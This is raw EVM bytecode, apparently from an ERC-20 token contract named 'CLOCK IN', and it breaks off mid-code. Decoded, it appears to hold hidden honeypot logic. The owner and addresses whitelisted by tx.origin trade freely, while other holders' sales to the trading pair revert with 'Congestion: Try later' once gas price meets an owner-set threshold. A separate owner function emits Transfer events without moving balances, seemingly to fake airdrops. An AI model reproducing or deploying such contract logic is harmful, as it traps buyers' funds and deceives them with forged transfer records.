5b505050506040513d601f19601f82011682018060405250810190610ed19190612a38565b6040518363ffffffff1660e01b8152600401610eee929190612a63565b602060405180830381865afa158015610f09573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f2d9190612a38565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ffa6115fb565b806008819055505f60384603611026577310ed43c718714eb63d5aa57b78b54704e256024e90506110c2565b6001460361104a57737a250d5630b4cf539739df2c5dacb4c659f2488d90506110c1565b612105460361106f57734752ba5dbc23f44d87826276bf6fd6b1c372ad2490506110c0565b62aa36a746036110955773ee567fe1712faf6149d80da1e6934e354124cfe390506110bf565b61123746036110ba5773c9271f5cb901e30a22268687a8776e6a048e0cb990506110be565b5f5ffd5b5b5b5b5b5f8190508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561110f573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111339190612a38565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611198573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111bc9190612a38565b6040518363ffffffff1660e01b81526004016111d9929190612a63565b602060405180830381865afa1580156111f4573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112189190612a38565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6112646115fb565b5f5f90505b838390508110156112fc578160095f86868581811061128b5761128a61265f565b5b90506020020160208101906112a091906120e9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050611269565b50505050565b61130a6115fb565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361137a575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401611371919061220d565b60405180910390fd5b61138381611805565b50565b61138e6115fb565b5f84849050116113d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ca906125b3565b60405180910390fd5b81819050848490501461141b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141290612641565b60405180910390fd5b5f5f90505b848490508110156115da575f83838381811061143f5761143e61265f565b5b9050602002013511611486576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147d906126d6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168585838181106114b0576114af61265f565b5b90506020020160208101906114c591906120e9565b73ffffffffffffffffffffffffffffffffffffffff160361151b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115129061273e565b60405180910390fd5b84848281811061152e5761152d61265f565b5b905060200201602081019061154391906120e9565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006548686868181106115a7576115a661265f565b5b905060200201356115b89190612789565b6040516115c59190612123565b60405180910390a38080600101915050611420565b505050505050565b5f33905090565b6115f683838360016118c8565b505050565b6116036115e2565b73ffffffffffffffffffffffffffffffffffffffff16611621610bf2565b73ffffffffffffffffffffffffffffffffffffffff1614611680576116446115e2565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401611677919061220d565b60405180910390fd5b565b5f61168d8484610f70565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81101561170f5781811015611700578281836040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526004016116f793929190612a8a565b60405180910390fd5b61170e84848484035f6118c8565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611785575f6040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161177c919061220d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117f5575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016117ec919061220d565b60405180910390fd5b611800838383611a97565b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611938575f6040517fe602df0500000000000000000000000000000000000000000000000000000000815260040161192f919061220d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119a8575f6040517f94280d6200000000000000000000000000000000000000000000000000000000815260040161199f919061220d565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611a91578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051611a889190612123565b60405180910390a35b50505050565b60095f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611b1e5750611aef610bf2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b5b5750611b2c610bf2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80611b9157505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611bc757505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611bdc57611bd7838383611d3a565b611d35565b600760149054906101000a900460ff16611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2290612b09565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015611cd4575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611d29575f6008541115611d28576008543a10611d27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1e90612b71565b60405180910390fd5b5b5b611d34838383611d3a565b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d8a578060025f828254611d7e91906128f3565b92505081905550611e58565b5f5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611e13578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401611e0a93929190612a8a565b60405180910390fd5b8181035f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e9f578060025f8282540392505081905550611ee9565b805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f469190612123565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f9582611f53565b611f9f8185611f5d565b9350611faf818560208601611f6d565b611fb881611f7b565b840191505092915050565b5f6020820190508181035f830152611fdb8184611f8b565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61201482611feb565b9050919050565b6120248161200a565b811461202e575f5ffd5b50565b5f8135905061203f8161201b565b92915050565b5f819050919050565b61205781612045565b8114612061575f5ffd5b50565b5f813590506120728161204e565b92915050565b5f5f6040838503121561208e5761208d611fe3565b5b5f61209b85828601612031565b92505060206120ac85828601612064565b9150509250929050565b5f8115159050919050565b6120ca816120b6565b82525050565b5f6020820190506120e35f8301846120c1565b92915050565b5f602082840312156120fe576120fd611fe3565b5b5f61210b84828501612031565b91505092915050565b61211d81612045565b82525050565b5f6020820190506121365f830184612114565b92915050565b5f5f5f6060848603121561215357612152611fe3565b5b5f61216086828701612031565b935050602061217186828701612031565b925050604061218286828701612064565b9150509250925092565b5f60ff82169050919050565b6121a18161218c565b82525050565b5f6020820190506121ba5f830184612198565b92915050565b5f5f604083850312156121d6576121d5611fe3565b5b5f6121e385828601612064565b92505060206121f485828601612031565b9150509250929050565b6122078161200a565b82525050565b5f6020820190506122205f8301846121fe565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261224757612246612226565b5b8235905067ffffffffffffffff8111156122645761226361222a565b5b6020830191508360208202830111156122805761227f61222e565b5b9250929050565b5f5f83601f84011261229c5761229b612226565b5b8235905067ffffffffffffffff8111156122b9576122b861222a565b5b6020830191508360208202830111156122d5576122d461222e565b5b9250929050565b5f5f5f5f5f606086880312156122f5576122f4611fe3565b5b5f61230288828901612031565b955050602086013567ffffffffffffffff81111561232357612322611fe7565b5b61232f88828901612232565b9450945050604086013567ffffffffffffffff81111561235257612351611fe7565b5b61235e88828901612287565b92509250509295509295909350565b5f5f5f5f5f6080868803121561238657612385611fe3565b5b5f61239388828901612031565b955050602086013567ffffffffffffffff8111156123b4576123b3611fe7565b5b6123c088828901612232565b945094505060406123d388828901612064565b92505060606123e488828901612064565b9150509295509295909350565b6123fa816120b6565b8114612404575f5ffd5b50565b5f81359050612415816123f1565b92915050565b5f602082840312156124305761242f611fe3565b5b5f61243d84828501612407565b91505092915050565b5f5f6040838503121561245c5761245b611fe3565b5b5f61246985828601612031565b925050602061247a85828601612031565b9150509250929050565b5f6020828403121561249957612498611fe3565b5b5f6124a684828501612064565b91505092915050565b5f5f5f604084860312156124c6576124c5611fe3565b5b5f84013567ffffffffffffffff8111156124e3576124e2611fe7565b5b6124ef86828701612232565b9350935050602061250286828701612407565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061255057607f821691505b6020821081036125635761256261250c565b5b50919050565b7f526563697069656e7473206c6973742063616e6e6f7420626520656d707479005f82015250565b5f61259d601f83611f5d565b91506125a882612569565b602082019050919050565b5f6020820190508181035f8301526125ca81612591565b9050919050565b7f526563697069656e7473206c656e677468206d75737420626520657175616c205f8201527f616d6f756e74206c656e67746800000000000000000000000000000000000000602082015250565b5f61262b602d83611f5d565b9150612636826125d1565b604082019050919050565b5f6020820190508181035f8301526126588161261f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f416d6f756e74206d7573742062652067726561746572207468616e207a65726f5f82015250565b5f6126c0602083611f5d565b91506126cb8261268c565b602082019050919050565b5f6020820190508181035f8301526126ed816126b4565b9050919050565b7f496e76616c696420726563697069656e742061646472657373000000000000005f82015250565b5f612728601983611f5d565b9150612733826126f4565b602082019050919050565b5f6020820190508181035f8301526127558161271c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61279382612045565b915061279e83612045565b92508282026127ac81612045565b915082820484148315176127c3576127c261275c565b5b5092915050565b7f4d696e20616d6f756e74206d7573742062652067726561746572207468616e205f8201527f7a65726f00000000000000000000000000000000000000000000000000000000602082015250565b5f612824602483611f5d565b915061282f826127ca565b604082019050919050565b5f6020820190508181035f83015261285181612818565b9050919050565b7f4d617820616d6f756e74206d757374206265203e3d206d696e20616d6f756e745f82015250565b5f61288c602083611f5d565b915061289782612858565b602082019050919050565b5f6020820190508181035f8301526128b981612880565b9050919050565b5f6128ca82612045565b91506128d583612045565b92508282039050818111156128ed576128ec61275c565b5b92915050565b5f6128fd82612045565b915061290883612045565b92508282019050808211156129205761291f61275c565b5b92915050565b5f819050919050565b61294061293b82612045565b612926565b82525050565b5f8160601b9050919050565b5f61295c82612946565b9050919050565b5f61296d82612952565b9050919050565b6129856129808261200a565b612963565b82525050565b5f612996828661292f565b6020820191506129a68285612974565b6014820191506129b6828461292f565b602082019150819050949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6129fe82612045565b9150612a0983612045565b925082612a1957612a186129c7565b5b828206905092915050565b5f81519050612a328161201b565b92915050565b5f60208284031215612a4d57612a4c611fe3565b5b5f612a5a84828501612a24565b91505092915050565b5f604082019050612a765f8301856121fe565b612a8360208301846121fe565b9392505050565b5f606082019050612a9d5f8301866121fe565b612aaa6020830185612114565b612ab76040830184612114565b949350505050565b7f54726164696e67206e6f742061637469766500000000000000000000000000005f82015250565b5f612af3601283611f5d565b9150612afe82612abf565b602082019050919050565b5f6020820190508181035f830152612b2081612ae7565b9050919050565b7f436f6e67657374696f6e3a20547279206c6174657200000000000000000000005f82015250565b5f612b5b601583611f5d565b9150612b6682612b27565b602082019050919050565b5f6020820190508181035f830152612b8881612b4f565b905091905056fea26469706673582212200573d554a66f02bd9e85d59d42f1dbd643d3bf1a144ce663ec49168b1b24dfd164736f6c634300081c00330000000000000000000000002e5f1d0467a010d81763e65d3bcac601167575b00000000000000000000000002b5b47fcbf705734920c63dd752f5a28a0072d4e000000000000000000000000a5b1986c987c4005ca4107c0b4952ed9387c49e70000000000000000000000000cebc69c6f143864a8575fc2d3bb653bd7153c00
0x608060405234801561000f575f5ffd5b50600436106101c2575f3560e01c80637d33a54b116100f7578063a9059cbb11610095578063ee7d72b41161006f578063ee7d72b4146104bc578063eec323f5146104d8578063f2fde38b146104f4578063f536316b14610510576101c2565b8063a9059cbb14610452578063d7cd4bf714610482578063dd62ed3e1461048c576101c2565b80638da5cb5b116100d15780638da5cb5b146103ca5780638f70ccf7146103e857806395d89b41146104045780639c6dc84314610422576101c2565b80637d33a54b14610386578063882a974f146103a25780638a8c523c146103c0576101c2565b80632ff2e9dc116101645780633ab037841161013e5780633ab03784146103125780634022b75e1461033057806370a082311461034c578063715018a61461037c576101c2565b80632ff2e9dc146102ba578063313ce567146102d857806332e851e0146102f6576101c2565b806318160ddd116101a057806318160ddd14610230578063188214001461024e57806323b872dd1461026c5780632a9053181461029c576101c2565b806306fdde03146101c6578063095ea7b3146101e457806314bef93e14610214575b5f5ffd5b6101ce61052c565b6040516101db9190611fc3565b60405180910390f35b6101fe60048036038101906101f99190612078565b6105bc565b60405161020b91906120d0565b60405180910390f35b61022e600480360381019061022991906120e9565b6105de565b005b610238610629565b6040516102459190612123565b60405180910390f35b610256610632565b6040516102639190611fc3565b60405180910390f35b6102866004803603810190610281919061213c565b61066b565b60405161029391906120d0565b60405180910390f35b6102a4610699565b6040516102b19190611fc3565b60405180910390f35b6102c26106d2565b6040516102cf9190612123565b60405180910390f35b6102e06106da565b6040516102ed91906121a7565b60405180910390f35b610310600480360381019061030b91906121c0565b6106e2565b005b61031a6106fe565b604051610327919061220d565b60405180910390f35b61034a600480360381019061034591906122dc565b610723565b005b610366600480360381019061036191906120e9565b610925565b6040516103739190612123565b60405180910390f35b61038461096a565b005b6103a0600480360381019061039b919061236d565b61097d565b005b6103aa610bb0565b6040516103b791906120d0565b60405180910390f35b6103c8610bc3565b005b6103d2610bf2565b6040516103df919061220d565b60405180910390f35b61040260048036038101906103fd919061241b565b610c1a565b005b61040c610c3f565b6040516104199190611fc3565b60405180910390f35b61043c600480360381019061043791906120e9565b610ccf565b60405161044991906120d0565b60405180910390f35b61046c60048036038101906104679190612078565b610cec565b60405161047991906120d0565b60405180910390f35b61048a610d0e565b005b6104a660048036038101906104a19190612446565b610f70565b6040516104b39190612123565b60405180910390f35b6104d660048036038101906104d19190612484565b610ff2565b005b6104f260048036038101906104ed91906124af565b61125c565b005b61050e600480360381019061050991906120e9565b611302565b005b61052a600480360381019061052591906122dc565b611386565b005b60606003805461053b90612539565b80601f016020809104026020016040519081016040528092919081815260200182805461056790612539565b80156105b25780601f10610589576101008083540402835291602001916105b2565b820191905f5260205f20905b81548152906001019060200180831161059557829003601f168201915b5050505050905090565b5f5f6105c66115e2565b90506105d38185856115e9565b600191505092915050565b6105e66115fb565b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f600254905090565b6040518060400160405280600881526020017f434c4f434b20494e00000000000000000000000000000000000000000000000081525081565b5f5f6106756115e2565b9050610682858285611682565b61068d858585611715565b60019150509392505050565b6040518060400160405280600781526020017f434c4f434b494e0000000000000000000000000000000000000000000000000081525081565b633b9aca0081565b5f6012905090565b6106ea6115fb565b816008819055506106fa816105de565b5050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61072b6115fb565b5f8484905011610770576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610767906125b3565b60405180910390fd5b8181905084849050146107b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107af90612641565b60405180910390fd5b5f5f90505b8484905081101561091d575f8383838181106107dc576107db61265f565b5b9050602002013511610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081a906126d6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1685858381811061084d5761084c61265f565b5b905060200201602081019061086291906120e9565b73ffffffffffffffffffffffffffffffffffffffff16036108b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108af9061273e565b60405180910390fd5b610910868686848181106108cf576108ce61265f565b5b90506020020160208101906108e491906120e9565b6006548686868181106108fa576108f961265f565b5b9050602002013561090b9190612789565b611715565b80806001019150506107bd565b505050505050565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109726115fb565b61097b5f611805565b565b6109856115fb565b5f84849050116109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c1906125b3565b60405180910390fd5b5f8211610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a039061283a565b60405180910390fd5b81811015610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906128a2565b60405180910390fd5b5f60018383610a5e91906128c0565b610a6891906128f3565b90505f5f90505b85859050811015610ba7575f73ffffffffffffffffffffffffffffffffffffffff16868683818110610aa457610aa361265f565b5b9050602002016020810190610ab991906120e9565b73ffffffffffffffffffffffffffffffffffffffff1603610b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b069061273e565b60405180910390fd5b5f8483423385604051602001610b279392919061298b565b604051602081830303815290604052805190602001205f1c610b4991906129f4565b610b5391906128f3565b90505f60065482610b649190612789565b9050610b9889898986818110610b7d57610b7c61265f565b5b9050602002016020810190610b9291906120e9565b83611715565b50508080600101915050610a6f565b50505050505050565b600760149054906101000a900460ff1681565b610bcb6115fb565b6001600760146101000a81548160ff021916908315150217905550610bf06001610ff2565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c226115fb565b80600760146101000a81548160ff02191690831515021790555050565b606060048054610c4e90612539565b80601f0160208091040260200160405190810160405280929190818152602001828054610c7a90612539565b8015610cc55780601f10610c9c57610100808354040283529160200191610cc5565b820191905f5260205f20905b815481529060010190602001808311610ca857829003601f168201915b5050505050905090565b6009602052805f5260405f205f915054906101000a900460ff1681565b5f5f610cf66115e2565b9050610d03818585611715565b600191505092915050565b610d166115fb565b5f60384603610d3b577310ed43c718714eb63d5aa57b78b54704e256024e9050610dd7565b60014603610d5f57737a250d5630b4cf539739df2c5dacb4c659f2488d9050610dd6565b6121054603610d8457734752ba5dbc23f44d87826276bf6fd6b1c372ad249050610dd5565b62aa36a74603610daa5773ee567fe1712faf6149d80da1e6934e354124cfe39050610dd4565b6112374603610dcf5773c9271f5cb901e30a22268687a8776e6a048e0cb99050610dd3565b5f5ffd5b5b5b5b5b5f8190508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e24573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e489190612a38565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ead573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ed19190612a38565b6040518363ffffffff1660e01b8152600401610eee929190612a63565b602060405180830381865afa158015610f09573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f2d9190612a38565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ffa6115fb565b806008819055505f60384603611026577310ed43c718714eb63d5aa57b78b54704e256024e90506110c2565b6001460361104a57737a250d5630b4cf539739df2c5dacb4c659f2488d90506110c1565b612105460361106f57734752ba5dbc23f44d87826276bf6fd6b1c372ad2490506110c0565b62aa36a746036110955773ee567fe1712faf6149d80da1e6934e354124cfe390506110bf565b61123746036110ba5773c9271f5cb901e30a22268687a8776e6a048e0cb990506110be565b5f5ffd5b5b5b5b5b5f8190508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561110f573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111339190612a38565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611198573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111bc9190612a38565b6040518363ffffffff1660e01b81526004016111d9929190612a63565b602060405180830381865afa1580156111f4573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112189190612a38565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6112646115fb565b5f5f90505b838390508110156112fc578160095f86868581811061128b5761128a61265f565b5b90506020020160208101906112a091906120e9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050611269565b50505050565b61130a6115fb565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361137a575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401611371919061220d565b60405180910390fd5b61138381611805565b50565b61138e6115fb565b5f84849050116113d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ca906125b3565b60405180910390fd5b81819050848490501461141b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141290612641565b60405180910390fd5b5f5f90505b848490508110156115da575f83838381811061143f5761143e61265f565b5b9050602002013511611486576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147d906126d6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168585838181106114b0576114af61265f565b5b90506020020160208101906114c591906120e9565b73ffffffffffffffffffffffffffffffffffffffff160361151b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115129061273e565b60405180910390fd5b84848281811061152e5761152d61265f565b5b905060200201602081019061154391906120e9565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006548686868181106115a7576115a661265f565b5b905060200201356115b89190612789565b6040516115c59190612123565b60405180910390a38080600101915050611420565b505050505050565b5f33905090565b6115f683838360016118c8565b505050565b6116036115e2565b73ffffffffffffffffffffffffffffffffffffffff16611621610bf2565b73ffffffffffffffffffffffffffffffffffffffff1614611680576116446115e2565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401611677919061220d565b60405180910390fd5b565b5f61168d8484610f70565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81101561170f5781811015611700578281836040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526004016116f793929190612a8a565b60405180910390fd5b61170e84848484035f6118c8565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611785575f6040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161177c919061220d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117f5575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016117ec919061220d565b60405180910390fd5b611800838383611a97565b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611938575f6040517fe602df0500000000000000000000000000000000000000000000000000000000815260040161192f919061220d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119a8575f6040517f94280d6200000000000000000000000000000000000000000000000000000000815260040161199f919061220d565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611a91578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051611a889190612123565b60405180910390a35b50505050565b60095f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611b1e5750611aef610bf2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b5b5750611b2c610bf2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80611b9157505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611bc757505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611bdc57611bd7838383611d3a565b611d35565b600760149054906101000a900460ff16611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2290612b09565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015611cd4575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611d29575f6008541115611d28576008543a10611d27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1e90612b71565b60405180910390fd5b5b5b611d34838383611d3a565b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d8a578060025f828254611d7e91906128f3565b92505081905550611e58565b5f5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611e13578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401611e0a93929190612a8a565b60405180910390fd5b8181035f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e9f578060025f8282540392505081905550611ee9565b805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f469190612123565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f9582611f53565b611f9f8185611f5d565b9350611faf818560208601611f6d565b611fb881611f7b565b840191505092915050565b5f6020820190508181035f830152611fdb8184611f8b565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61201482611feb565b9050919050565b6120248161200a565b811461202e575f5ffd5b50565b5f8135905061203f8161201b565b92915050565b5f819050919050565b61205781612045565b8114612061575f5ffd5b50565b5f813590506120728161204e565b92915050565b5f5f6040838503121561208e5761208d611fe3565b5b5f61209b858286016120315